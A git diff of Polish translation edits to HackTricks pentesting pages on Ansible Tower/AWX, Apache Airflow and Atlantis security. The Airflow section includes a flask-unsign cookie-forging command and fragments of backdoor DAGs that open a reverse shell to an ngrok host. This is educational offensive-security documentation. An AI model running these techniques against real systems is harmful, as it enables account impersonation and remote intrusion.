diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index 553595841..4d92c5af9 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -7,7 +7,7 @@
> Wsparcie HackTricks
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
-> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
+> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+> - **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
>
>
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index 3abc20dea..2edf12e2b 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -1,62 +1,62 @@
-# Ansible Tower / AWX / Automation controller Security
+# Ansible Tower / AWX / Bezpieczeństwo kontrolera automatyzacji
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
**Ansible Tower** lub jego wersja open source [**AWX**](https://github.com/ansible/awx) jest znany jako **interfejs użytkownika Ansible, pulpit nawigacyjny i REST API**. Dzięki **kontroli dostępu opartej na rolach**, harmonogramowaniu zadań i graficznemu zarządzaniu inwentarzem, możesz zarządzać swoją infrastrukturą Ansible z nowoczesnego interfejsu. REST API Towera i interfejs wiersza poleceń ułatwiają integrację z obecnymi narzędziami i przepływami pracy.
-**Automation Controller to nowsza** wersja Ansible Tower z większymi możliwościami.
+**Kontroler automatyzacji to nowsza** wersja Ansible Tower z większymi możliwościami.
-### Differences
+### Różnice
Zgodnie z [**tym**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), główne różnice między Ansible Tower a AWX to otrzymywane wsparcie, a Ansible Tower ma dodatkowe funkcje, takie jak kontrola dostępu oparta na rolach, wsparcie dla niestandardowych API oraz zdefiniowane przez użytkownika przepływy pracy.
-### Tech Stack
+### Stos technologiczny
-- **Web Interface**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i zapewniał wizualizacje pomagające w zrozumieniu stanu i wyników twoich zadań automatyzacji.
+- **Interfejs webowy**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i dostarczał wizualizacji, które pomagają w zrozumieniu stanu i wyników twoich zadań automatyzacji.
- **REST API**: Wszystko, co możesz zrobić w interfejsie webowym, możesz również zrobić za pomocą REST API. Oznacza to, że możesz zintegrować AWX/Tower z innymi systemami lub skryptować działania, które zazwyczaj wykonujesz w interfejsie.
-- **Database**: AWX/Tower używa bazy danych (zazwyczaj PostgreSQL) do przechowywania swojej konfiguracji, wyników zadań i innych niezbędnych danych operacyjnych.
+- **Baza danych**: AWX/Tower używa bazy danych (zwykle PostgreSQL) do przechowywania swojej konfiguracji, wyników zadań i innych niezbędnych danych operacyjnych.
- **RabbitMQ**: To system komunikacji używany przez AWX/Tower do komunikacji między różnymi komponentami, szczególnie między usługą webową a wykonawcami zadań.
- **Redis**: Redis służy jako pamięć podręczna i zaplecze dla kolejki zadań.
-### Logical Components
+### Komponenty logiczne
-- **Inventories**: Inwentarz to **zbiór hostów (lub węzłów)**, na których mogą być **uruchamiane zadania** (playbooki Ansible). AWX/Tower pozwala na definiowanie i grupowanie inwentarzy oraz wspiera dynamiczne inwentarze, które mogą **pobierać listy hostów z innych systemów** takich jak AWS, Azure itp.
-- **Projects**: Projekt to zasadniczo **zbiór playbooków Ansible** pochodzących z **systemu kontroli wersji** (takiego jak Git), aby pobierać najnowsze playbooki w razie potrzeby.
-- **Templates**: Szablony zadań definiują **jak dany playbook będzie uruchamiany**, określając **inwentarz**, **poświadczenia** i inne **parametry** dla zadania.
-- **Credentials**: AWX/Tower zapewnia bezpieczny sposób **zarządzania i przechowywania sekretów, takich jak klucze SSH, hasła i tokeny API**. Te poświadczenia mogą być powiązane z szablonami zadań, aby playbooki miały niezbędny dostęp podczas uruchamiania.
-- **Task Engine**: To tutaj dzieje się magia. Silnik zadań oparty jest na Ansible i odpowiada za **uruchamianie playbooków**. Zadania są przekazywane do silnika zadań, który następnie uruchamia playbooki Ansible na wyznaczonym inwentarzu, używając określonych poświadczeń.
-- **Schedulers and Callbacks**: To zaawansowane funkcje w AWX/Tower, które pozwalają na **harmonogramowanie zadań** do uruchamiania w określonych czasach lub wyzwalane przez zdarzenia zewnętrzne.
-- **Notifications**: AWX/Tower może wysyłać powiadomienia w zależności od sukcesu lub niepowodzenia zadań. Obsługuje różne środki powiadomień, takie jak e-maile, wiadomości Slack, webhooki itp.
-- **Ansible Playbooks**: Playbooki Ansible to narzędzia do konfiguracji, wdrażania i orkiestracji. Opisują pożądany stan systemów w sposób zautomatyzowany i powtarzalny. Napisane w YAML, playbooki używają deklaratywnego języka automatyzacji Ansible do opisywania konfiguracji, zadań i kroków, które muszą być wykonane.
+- **Inwentarze**: Inwentarz to **zbiór hostów (lub węzłów)**, na których mogą być **uruchamiane zadania** (playbooki Ansible). AWX/Tower pozwala na definiowanie i grupowanie inwentarzy oraz wspiera dynamiczne inwentarze, które mogą **pobierać listy hostów z innych systemów** takich jak AWS, Azure itp.
+- **Projekty**: Projekt to zasadniczo **zbiór playbooków Ansible** pochodzących z **systemu kontroli wersji** (takiego jak Git), aby pobierać najnowsze playbooki w razie potrzeby.
+- **Szablony**: Szablony zadań definiują **jak dany playbook będzie uruchamiany**, określając **inwentarz**, **poświadczenia** i inne **parametry** dla zadania.
+- **Poświadczenia**: AWX/Tower zapewnia bezpieczny sposób **zarządzania i przechowywania sekretów, takich jak klucze SSH, hasła i tokeny API**. Te poświadczenia mogą być powiązane z szablonami zadań, aby playbooki miały niezbędny dostęp podczas uruchamiania.
+- **Silnik zadań**: To tutaj dzieje się magia. Silnik zadań oparty jest na Ansible i odpowiada za **uruchamianie playbooków**. Zadania są przekazywane do silnika zadań, który następnie uruchamia playbooki Ansible na wyznaczonym inwentarzu, używając określonych poświadczeń.
+- **Harmonogramy i wywołania zwrotne**: To zaawansowane funkcje w AWX/Tower, które pozwalają na **harmonogramowanie zadań** do uruchamiania w określonych czasach lub wyzwalane przez zdarzenia zewnętrzne.
+- **Powiadomienia**: AWX/Tower może wysyłać powiadomienia w zależności od sukcesu lub niepowodzenia zadań. Obsługuje różne formy powiadomień, takie jak e-maile, wiadomości Slack, webhooki itp.
+- **Playbooki Ansible**: Playbooki Ansible to narzędzia do konfiguracji, wdrażania i orkiestracji. Opisują pożądany stan systemów w sposób zautomatyzowany i powtarzalny. Napisane w YAML, playbooki używają deklaratywnego języka automatyzacji Ansible do opisywania konfiguracji, zadań i kroków, które muszą być wykonane.
-### Job Execution Flow
+### Przepływ wykonania zadań
-1. **User Interaction**: Użytkownik może interagować z AWX/Tower za pośrednictwem **Web Interface** lub **REST API**. Te zapewniają dostęp front-end do wszystkich funkcji oferowanych przez AWX/Tower.
-2. **Job Initiation**:
-- Użytkownik, za pośrednictwem interfejsu webowego lub API, inicjuje zadanie na podstawie **Job Template**.
-- Szablon zadania zawiera odniesienia do **Inventory**, **Project** (zawierającego playbook) i **Credentials**.
+1. **Interakcja użytkownika**: Użytkownik może interagować z AWX/Tower za pośrednictwem **Interfejsu Webowego** lub **REST API**. Te zapewniają dostęp front-end do wszystkich funkcji oferowanych przez AWX/Tower.
+2. **Inicjacja zadania**:
+- Użytkownik, za pośrednictwem Interfejsu Webowego lub API, inicjuje zadanie na podstawie **Szablonu Zadań**.
+- Szablon Zadań zawiera odniesienia do **Inwentarza**, **Projektu** (zawierającego playbook) i **Poświadczeń**.
- Po inicjacji zadania, żądanie jest wysyłane do zaplecza AWX/Tower, aby umieścić zadanie w kolejce do wykonania.
-3. **Job Queuing**:
+3. **Kolejkowanie zadań**:
- **RabbitMQ** obsługuje komunikację między komponentem webowym a wykonawcami zadań. Gdy zadanie jest inicjowane, wiadomość jest wysyłana do silnika zadań za pomocą RabbitMQ.
- **Redis** działa jako zaplecze dla kolejki zadań, zarządzając zadaniami w kolejce oczekującymi na wykonanie.
-4. **Job Execution**:
-- **Task Engine** odbiera zadanie z kolejki. Pobiera niezbędne informacje z **Database** o powiązanym playbooku, inwentarzu i poświadczeniach.
-- Używając pobranego playbooka Ansible z powiązanego **Project**, silnik zadań uruchamia playbook na określonych węzłach **Inventory** przy użyciu podanych **Credentials**.
-- W miarę uruchamiania playbooka, jego wyniki wykonania (logi, fakty itp.) są rejestrowane i przechowywane w **Database**.
-5. **Job Results**:
-- Gdy playbook kończy działanie, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Database**.
-- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem interfejsu webowego lub zapytywać je za pomocą REST API.
-- W zależności od wyników zadań, **Notifications** mogą być wysyłane, aby informować użytkowników lub zewnętrzne systemy o statusie zadania. Powiadomienia mogą być e-mailami, wiadomościami Slack, webhookami itp.
-6. **External Systems Integration**:
-- **Inventories** mogą być dynamicznie pozyskiwane z zewnętrznych systemów, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i inne.
-- **Projects** (playbooki) mogą być pobierane z systemów kontroli wersji, zapewniając użycie aktualnych playbooków podczas wykonywania zadań.
-- **Schedulers and Callbacks** mogą być używane do integracji z innymi systemami lub narzędziami, co sprawia, że AWX/Tower reaguje na zewnętrzne wyzwalacze lub uruchamia zadania w ustalonych czasach.
+4. **Wykonanie zadania**:
+- **Silnik Zadań** odbiera zadanie z kolejki. Pobiera niezbędne informacje z **Bazy Danych** dotyczące powiązanego playbooka, inwentarza i poświadczeń.
+- Używając pobranego playbooka Ansible z powiązanego **Projektu**, Silnik Zadań uruchamia playbook na określonych węzłach **Inwentarza** przy użyciu podanych **Poświadczeń**.
+- W miarę uruchamiania playbooka, jego wyniki wykonania (logi, fakty itp.) są rejestrowane i przechowywane w **Bazie Danych**.
+5. **Wyniki zadania**:
+- Gdy playbook zakończy działanie, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Bazie Danych**.
+- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem Interfejsu Webowego lub zapytać je za pomocą REST API.
+- W zależności od wyników zadań, **Powiadomienia** mogą być wysyłane, aby informować użytkowników lub zewnętrzne systemy o statusie zadania. Powiadomienia mogą być e-mailami, wiadomościami Slack, webhookami itp.
+6. **Integracja z systemami zewnętrznymi**:
+- **Inwentarze** mogą być dynamicznie pozyskiwane z systemów zewnętrznych, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i innych.
+- **Projekty** (playbooki) mogą być pobierane z systemów kontroli wersji, zapewniając użycie aktualnych playbooków podczas wykonywania zadań.
+- **Harmonogramy i wywołania zwrotne** mogą być używane do integracji z innymi systemami lub narzędziami, co sprawia, że AWX/Tower reaguje na zewnętrzne wyzwalacze lub uruchamia zadania w ustalonych czasach.
-### AWX lab creation for testing
+### Tworzenie laboratorium AWX do testowania
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) można użyć docker-compose do uruchomienia AWX:
+[**Zgodnie z dokumentacją**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) możliwe jest użycie docker-compose do uruchomienia AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -88,7 +88,7 @@ docker exec tools_awx_1 awx-manage create_preload_data
Najbardziej uprzywilejowaną rolą jest **Administrator Systemu**. Każdy z tą rolą może **modyfikować wszystko**.
-Z perspektywy **przeglądu bezpieczeństwa białej skrzynki**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej byłoby uzyskać tę drugą.
+Z perspektywy **przeglądu bezpieczeństwa typu white box**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej jest uzyskać tę pierwszą.
@@ -108,16 +108,16 @@ Z perspektywy **przeglądu bezpieczeństwa białej skrzynki**, potrzebujesz roli
- **Przeczytaj**: Może przeglądać zasoby organizacji.
4. **Role Projektów**:
- **Admin**: Może zarządzać i modyfikować projekt.
-- **Użyj**: Może używać projektu w szablonie zadania.
+- **Użyj**: Może używać projektu w szablonie zadań.
- **Aktualizuj**: Może aktualizować projekt za pomocą SCM (kontrola wersji).
5. **Role Inwentarza**:
- **Admin**: Może zarządzać i modyfikować inwentarz.
- **Ad Hoc**: Może uruchamiać polecenia ad hoc na inwentarzu.
- **Aktualizuj**: Może aktualizować źródło inwentarza.
-- **Użyj**: Może używać inwentarza w szablonie zadania.
+- **Użyj**: Może używać inwentarza w szablonie zadań.
- **Przeczytaj**: Tylko dostęp do przeglądania.
6. **Role Szablonów Zadań**:
-- **Admin**: Może zarządzać i modyfikować szablon zadania.
+- **Admin**: Może zarządzać i modyfikować szablon zadań.
- **Wykonaj**: Może uruchomić zadanie.
- **Przeczytaj**: Tylko dostęp do przeglądania.
7. **Role Poświadczeń**:
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index c1d049456..8669493de 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -4,9 +4,9 @@
### Podstawowe informacje
-[**Apache Airflow**](https://airflow.apache.org) służy jako platforma do **orkiestrowania i planowania potoków danych lub przepływów pracy**. Termin "orkiestracja" w kontekście potoków danych oznacza proces aranżowania, koordynowania i zarządzania złożonymi przepływami danych pochodzącymi z różnych źródeł. Głównym celem tych orkiestrujących potoków danych jest dostarczenie przetworzonych i nadających się do użycia zbiorów danych. Zbiory te są szeroko wykorzystywane przez wiele aplikacji, w tym, ale nie tylko, narzędzia do analizy biznesowej, modele nauki o danych i uczenia maszynowego, które są podstawą funkcjonowania aplikacji big data.
+[**Apache Airflow**](https://airflow.apache.org) służy jako platforma do **orkiestrowania i planowania potoków danych lub przepływów pracy**. Termin "orkiestracja" w kontekście potoków danych oznacza proces aranżowania, koordynowania i zarządzania złożonymi przepływami pracy danych pochodzącymi z różnych źródeł. Głównym celem tych orkiestrujących potoków danych jest dostarczenie przetworzonych i nadających się do użycia zbiorów danych. Zbiory te są szeroko wykorzystywane przez wiele aplikacji, w tym, ale nie tylko, narzędzia do analizy biznesowej, modele nauki o danych i uczenia maszynowego, które są podstawą funkcjonowania aplikacji big data.
-W zasadzie, Apache Airflow pozwoli Ci **zaplanować wykonanie kodu, gdy coś** (zdarzenie, cron) **się wydarzy**.
+W zasadzie Apache Airflow pozwoli Ci **zaplanować wykonanie kodu, gdy coś** (zdarzenie, cron) **się wydarzy**.
### Lokalna laboratoria
@@ -44,9 +44,9 @@ airflow-rbac.md
### Ataki
-#### Enumeracja konsoli internetowej
+#### Enumeracja konsoli webowej
-Jeśli masz **dostęp do konsoli internetowej**, możesz uzyskać dostęp do niektórych lub wszystkich następujących informacji:
+Jeśli masz **dostęp do konsoli webowej**, możesz uzyskać dostęp do niektórych lub wszystkich następujących informacji:
- **Zmienne** (Własne wrażliwe informacje mogą być tutaj przechowywane)
- **Połączenia** (Własne wrażliwe informacje mogą być tutaj przechowywane)
@@ -57,27 +57,27 @@ Jeśli masz **dostęp do konsoli internetowej**, możesz uzyskać dostęp do nie
#### Pobieranie wartości zmiennych
-Zmienne mogą być przechowywane w Airflow, aby **DAG** mogły **uzyskać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http:///variable/list/`.\
+Zmienne mogą być przechowywane w Airflow, aby **DAGi** mogły **uzyskiwać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http:///variable/list/`.\
Airflow domyślnie pokaże wartość zmiennej w GUI, jednak zgodnie z [**tym**](https://marclamberti.com/blog/variables-with-apache-airflow/) możliwe jest ustawienie **listy zmiennych**, których **wartość** będzie wyświetlana jako **gwiazdki** w **GUI**.
.png>)
-Jednak te **wartości** mogą być nadal **pobrane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\
-Aby uzyskać dostęp do tych wartości z GUI, wystarczy **wybrać zmienne**, do których chcesz uzyskać dostęp i **kliknąć na Akcje -> Eksportuj**.\
+Jednak te **wartości** mogą być nadal **pobierane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\
+Aby uzyskać dostęp do tych wartości z GUI, po prostu **wybierz zmienne**, do których chcesz uzyskać dostęp i **kliknij na Akcje -> Eksportuj**.\
Innym sposobem jest przeprowadzenie **bruteforce** na **ukrytej wartości** za pomocą **filtrowania wyszukiwania**, aż ją uzyskasz:
.png>)
#### Eskalacja uprawnień
-Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownik** i **wyżej** mogą **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**.
+Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownika** i **wyżej** można **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
-#### DAG Backdoor (RCE w Airflow worker)
+#### DAG Backdoor (RCE w kontenerze Airflow)
-Jeśli masz **uprawnienia do zapisu** w miejscu, gdzie **DAGi są zapisywane**, możesz po prostu **stworzyć jeden**, który wyśle ci **reverse shell.**\
-Zauważ, że ten reverse shell będzie wykonywany wewnątrz **kontenera airflow worker:**
+Jeśli masz **uprawnienia do zapisu** w miejscu, gdzie **DAGi są zapisywane**, możesz po prostu **utworzyć jeden**, który wyśle ci **reverse shell.**\
+Zauważ, że ten reverse shell zostanie wykonany wewnątrz **kontenera roboczego airflow:**
```python
import pendulum
from airflow import DAG
@@ -116,9 +116,9 @@ python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
-#### DAG Backdoor (RCE w harmonogramie Airflow)
+#### DAG Backdoor (RCE w schedulerze Airflow)
-Jeśli ustawisz coś do **wykonania w katalogu głównym kodu**, w momencie pisania tego tekstu, zostanie to **wykonane przez harmonogram** po kilku sekundach od umieszczenia go w folderze DAG.
+Jeśli ustawisz coś do **wykonania w katalogu głównym kodu**, w momencie pisania tego tekstu, zostanie to **wykonane przez scheduler** po kilku sekundach od umieszczenia go w folderze DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index efbd9996e..f9bf18857 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -6,9 +6,9 @@
**Apache Airflow** generuje **plik konfiguracyjny** na wszystkich maszynach airflow o nazwie **`airflow.cfg`** w katalogu domowym użytkownika airflow. Ten plik konfiguracyjny zawiera informacje konfiguracyjne i **może zawierać interesujące i wrażliwe informacje.**
-**Istnieją dwa sposoby dostępu do tego pliku: Poprzez skompromitowanie maszyny airflow lub dostęp do konsoli internetowej.**
+**Są dwa sposoby na dostęp do tego pliku: Poprzez skompromitowanie maszyny airflow lub dostęp do konsoli internetowej.**
-Zauważ, że **wartości w pliku konfiguracyjnym** **mogą nie być używane**, ponieważ możesz je nadpisać, ustawiając zmienne środowiskowe, takie jak `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+Zauważ, że **wartości w pliku konfiguracyjnym** **mogą nie być tymi używanymi**, ponieważ możesz je nadpisać, ustawiając zmienne środowiskowe, takie jak `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
Jeśli masz dostęp do **pliku konfiguracyjnego na serwerze internetowym**, możesz sprawdzić **rzeczywistą konfigurację uruchomioną** na tej samej stronie, na której wyświetlany jest plik konfiguracyjny.\
Jeśli masz **dostęp do jakiejś maszyny w środowisku airflow**, sprawdź **środowisko**.
@@ -80,11 +80,11 @@ Niektóre interesujące wartości do sprawdzenia podczas przeglądania pliku kon
- **`cookie_samesite`**: Domyślnie to **Lax**, więc to już najsłabsza możliwa wartość
- **`cookie_secure`**: Ustaw **flaga zabezpieczeń** na ciasteczku sesyjnym
- **`expose_config`**: Domyślnie jest False, jeśli prawda, **konfiguracja** może być **odczytana** z **konsoli** internetowej
-- **`expose_stacktrace`**: Domyślnie to True, wyświetli **ślad stosu Pythona** (potencjalnie przydatne dla atakującego)
+- **`expose_stacktrace`**: Domyślnie jest True, wyświetli **ślad stosu Pythona** (potencjalnie przydatne dla atakującego)
- **`secret_key`**: To jest **klucz używany przez flask do podpisywania ciasteczek** (jeśli to masz, możesz **podszyć się pod dowolnego użytkownika w Airflow**)
-- **`web_server_ssl_cert`**: **Ścieżka** do **certyfikatu SSL**
-- **`web_server_ssl_key`**: **Ścieżka** do **klucza SSL**
-- **`x_frame_enabled`**: Domyślnie to **True**, więc domyślnie clickjacking nie jest możliwy
+- **`web_server_ssl_cert`**: **Ścieżka** do **certyfikatu** **SSL**
+- **`web_server_ssl_key`**: **Ścieżka** do **klucza** **SSL**
+- **`x_frame_enabled`**: Domyślnie jest **True**, więc domyślnie clickjacking nie jest możliwy
### Uwierzytelnianie w sieci
@@ -92,13 +92,13 @@ Domyślnie **uwierzytelnianie w sieci** jest określone w pliku **`webserver_con
```bash
AUTH_TYPE = AUTH_DB
```
-Co oznacza, że **uwierzytelnianie jest sprawdzane w bazie danych**. Jednak możliwe są inne konfiguracje, takie jak
+Co oznacza, że **uwierzytelnienie jest sprawdzane w bazie danych**. Jednak możliwe są inne konfiguracje, takie jak
```bash
AUTH_TYPE = AUTH_OAUTH
```
-Aby pozostawić **uwierzytelnianie zewnętrznym usługom**.
+Aby pozostawić **uwierzytelnianie usługom zewnętrznym**.
-Jednak istnieje również opcja **zezwolenia anonimowym użytkownikom na dostęp**, ustawiając następujący parametr na **pożądaną rolę**:
+Jednak istnieje również opcja **zezwolenia na dostęp anonimowym użytkownikom**, ustawiając następujący parametr na **pożądaną rolę**:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index b61bdc9b6..3e6bc8958 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,7 +4,7 @@
## RBAC
-(Z dokumentacji)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow dostarczany jest z **domyślnym zestawem ról**: **Admin**, **User**, **Op**, **Viewer** i **Public**. **Tylko użytkownicy `Admin`** mogą **konfigurować/zmieniać uprawnienia dla innych ról**. Jednak nie zaleca się, aby użytkownicy `Admin` w jakikolwiek sposób zmieniali te domyślne role, usuwając lub dodając uprawnienia do tych ról.
+(Z dokumentacji)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow dostarcza **domyślny zestaw ról**: **Admin**, **User**, **Op**, **Viewer** i **Public**. **Tylko użytkownicy `Admin`** mogą **konfigurować/zmieniać uprawnienia dla innych ról**. Jednak nie zaleca się, aby użytkownicy `Admin` w jakikolwiek sposób zmieniali te domyślne role, usuwając lub dodając uprawnienia do tych ról.
- **Użytkownicy `Admin`** mają wszystkie możliwe uprawnienia.
- **Użytkownicy `Public`** (anonimowi) nie mają żadnych uprawnień.
@@ -12,9 +12,9 @@
- **Użytkownicy `User`** mają uprawnienia `Viewer` oraz dodatkowe uprawnienia użytkownika, które pozwalają im zarządzać DAG-ami w pewnym zakresie. **Mogą zobaczyć plik konfiguracyjny.**
- **Użytkownicy `Op`** mają uprawnienia `User` oraz dodatkowe uprawnienia operacyjne.
-Zauważ, że **użytkownicy admin** mogą **tworzyć więcej ról** z bardziej **szczegółowymi uprawnieniami**.
+Należy zauważyć, że **użytkownicy admin** mogą **tworzyć więcej ról** z bardziej **szczegółowymi uprawnieniami**.
-Zauważ również, że jedyną domyślną rolą z **uprawnieniem do wyświetlania użytkowników i ról jest Admin, nawet Op** nie będzie w stanie tego zrobić.
+Należy również zauważyć, że jedyną domyślną rolą z **uprawnieniem do wyświetlania użytkowników i ról jest Admin, nawet Op** nie będzie w stanie tego zrobić.
### Domyślne Uprawnienia
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index 6473fd883..194ad475c 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -2,72 +2,72 @@
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### Podstawowe informacje
-Atlantis basically helps you to to run terraform from Pull Requests from your git server.
+Atlantis zasadniczo pomaga uruchamiać terraform z Pull Requests z twojego serwera git.
.png>)
-### Local Lab
+### Lokalna laboratoria
-1. Przejdź do **strony z wydaniami atlantis** w [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **pobierz** wersję, która Ci odpowiada.
+1. Przejdź do **strony wydań atlantis** w [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **pobierz** wersję, która ci odpowiada.
2. Utwórz **osobisty token** (z dostępem do repozytoriów) swojego użytkownika **github**.
3. Wykonaj `./atlantis testdrive`, a utworzy to **demo repo**, którego możesz użyć do **komunikacji z atlantis**.
4. Możesz uzyskać dostęp do strony internetowej pod adresem 127.0.0.1:4141.
-### Atlantis Access
+### Dostęp do Atlantis
-#### Git Server Credentials
+#### Poświadczenia serwera Git
-**Atlantis** wspiera kilka hostów git, takich jak **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\
-Jednak, aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać działania, musi mieć przyznany **privileged access** (przynajmniej uprawnienia do zapisu).\
-[**Dokumentacja**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) zachęca do stworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy mogą używać osobistych kont.
+**Atlantis** obsługuje kilka hostów git, takich jak **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\
+Jednak aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać działania, musi mieć przyznany **privileged access** (przynajmniej uprawnienia do zapisu).\
+[**Dokumentacja**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) zachęca do utworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy mogą używać osobistych kont.
> [!WARNING]
> W każdym przypadku, z perspektywy atakującego, **konto Atlantis** będzie bardzo **interesujące** **do skompromitowania**.
-#### Webhooks
+#### Webhooki
-Atlantis opcjonalnie używa [**sekretów webhook**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) do weryfikacji, że **webhooki**, które otrzymuje z Twojego hosta Git, są **legitymne**.
+Atlantis opcjonalnie używa [**sekretów webhooków**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) do weryfikacji, że **webhooki**, które otrzymuje z twojego hosta Git, są **legitymne**.
-Jednym ze sposobów potwierdzenia tego byłoby **zezwolenie na przyjmowanie żądań tylko z adresów IP** Twojego hosta Git, ale łatwiejszym sposobem jest użycie sekretu webhook.
+Jednym ze sposobów potwierdzenia tego byłoby **zezwolenie na przyjmowanie żądań tylko z adresów IP** twojego hosta Git, ale łatwiejszym sposobem jest użycie sekretu webhooka.
-Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhook na Internet.
+Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhooków do Internetu.
> [!WARNING]
